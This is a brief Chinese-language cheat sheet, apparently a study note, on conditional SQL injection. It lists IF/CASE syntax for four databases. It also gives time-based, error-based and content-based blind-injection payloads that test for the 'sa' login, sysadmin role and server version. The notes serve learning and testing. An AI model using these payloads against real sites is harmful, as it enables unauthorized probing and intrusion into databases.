sqli-使用条件语句

数据库 查询
SQL Server IF(‘a’ = ‘a’)SELECT 1 ELSE SELECT 2
MySQL SELECT IF(‘a’, 1, 2)
Oracle SELECT CASE WHEN ‘a’ = ‘a’ THEN 1 ELSE 2
PostgreSQL SELECT CASE WHEN(1 = 1) THEN ‘a’ ELSE ‘b’ END
  1. 基于时间的注入(感觉速度会很慢?)

    • 如果满足条件就延迟5s(或其他时间)
      1
      2
      IF (system_user = 'sa') WAITFOR DELAY '0:0:5'
      IF (substring((select @@version), 25, 1) = 5) WAITFOR DELAY '0:0:5'
  2. 基于错误的注入

    • 比如除0
      1
      ?id=12 / is_srvrolemember('sysadmin')
  3. 基于内容的注入

    • 比如

      1
      porducts.asp?id = 12 + (case when (system_user = 'sa') then 1 else 0 end)

      条件成功返回id=13的商品, 否则返回id=12的